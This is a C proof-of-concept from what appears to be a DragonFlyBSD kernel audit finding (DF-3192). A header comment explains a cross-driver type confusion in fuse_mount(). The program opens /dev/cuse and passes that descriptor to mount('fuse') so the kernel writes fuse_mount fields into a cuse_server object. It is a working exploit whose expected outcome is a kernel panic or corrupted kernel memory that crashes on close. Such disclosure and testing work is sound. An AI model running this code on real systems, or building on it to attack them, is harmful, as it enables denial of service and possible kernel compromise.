โฌข DragonFlyBSD Kernel Audit
DF-3192 / tc.c
โ† back to finding โ†“ download raw
/*
 * DF-3192 โ€” fuse_mount() validates the mount SOURCE NAME (args.from โ†’
 * nlookup โ†’ VOP_ACCESS on /dev/fuse) but then pulls the fuse_mount object
 * from a DIFFERENT file descriptor (args.fd) via devfs_get_cdevpriv()
 * (sys/vfs/fuse/fuse_vfsops.c:163-168).  devfs_get_cdevpriv() returns
 * whatever private data ANY driver attached to that fd
 * (sys/vfs/devfs/devfs_core.c:2938).  There is no check that the fd is
 * actually the /dev/fuse descriptor that was just looked up.
 *
 * With a /dev/cuse fd (cuse_server_open() attaches a struct cuse_server*
 * as cdevpriv โ€” sys/dev/misc/cuse/cuse.c:768-777), the kernel treats the
 * cuse_server as a struct fuse_mount and, in fuse_mount(), writes
 *   fmp->mp / fmp->dead / mtx_init()ร—3 / TAILQ_INIT()ร—2 / RB_INIT() /
 *   fmp->devvp / fmp->cred / refcount_acquire(&fmp->refcnt) /
 *   fuse_node_new(...&fmp->rfnp) / IPC list heads ...
 * into the foreign object (fuse_vfsops.c:176-199) โ€” cross-driver type
 * confusion writing fuse_mount layout (and the ~0x100-byte struct poking
 * past a smaller cuse_server allocation) into a live cuse_server.
 * On an INVARIANTS kernel this trips KKASSERT(fmp->refcnt > 0)
 * (fuse_vfsops.c:186) reading foreign bytes, or corrupts the cuse_server
 * so that its dtor (cuse_server_free) later walks fuse pointers.
 *
 * Build:  cc -O2 -Wall -o tc tc.c
 * Run (root):  kldload cuse; ./tc
 * Expected: panic (KKASSERT fmp->refcnt / mtx corruption) or mount fails
 *           after INIT timeout with a permanently corrupted cuse_server
 *           that crashes at close()/dtor.
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>

struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

int main(void) {
    struct fuse_mount_info args;
    int fd;

    setvbuf(stdout, NULL, _IONBF, 0);

    mkdir("/mnt/tc3192", 0755);

    fd = open("/dev/cuse", O_RDWR);
    if (fd < 0) {
        perror("open /dev/cuse (kldload cuse first?)");
        return 1;
    }
    printf("opened /dev/cuse fd=%d โ€” cdevpriv is now a struct cuse_server*\n", fd);

    memset(&args, 0, sizeof(args));
    args.fd   = fd;              /* <<< the foreign descriptor */
    args.from = "/dev/fuse";     /* <<< the name the kernel actually validates */
    args.max_read = 1 << 20;

    printf("mount(fuse, /mnt/tc3192, fd=<cuse>) โ€” kernel now writes a "
           "fuse_mount layout into the cuse_server ...\n");
    if (mount("fuse", "/mnt/tc3192", 0, &args) < 0) {
        printf("mount failed: %s (cuse_server already corrupted in-kernel; "
               "closing fd now runs cuse_server_free on it)\n", strerror(errno));
    } else {
        printf("mount UNEXPECTEDLY SUCCEEDED (type confusion silently "
               "corrupted cuse_server)\n");
        unmount("/mnt/tc3192", 0);
    }

    printf("closing the cuse fd -> cuse_server_free dtor on corrupted object\n");
    close(fd);
    printf("survived close\n");
    return 0;
}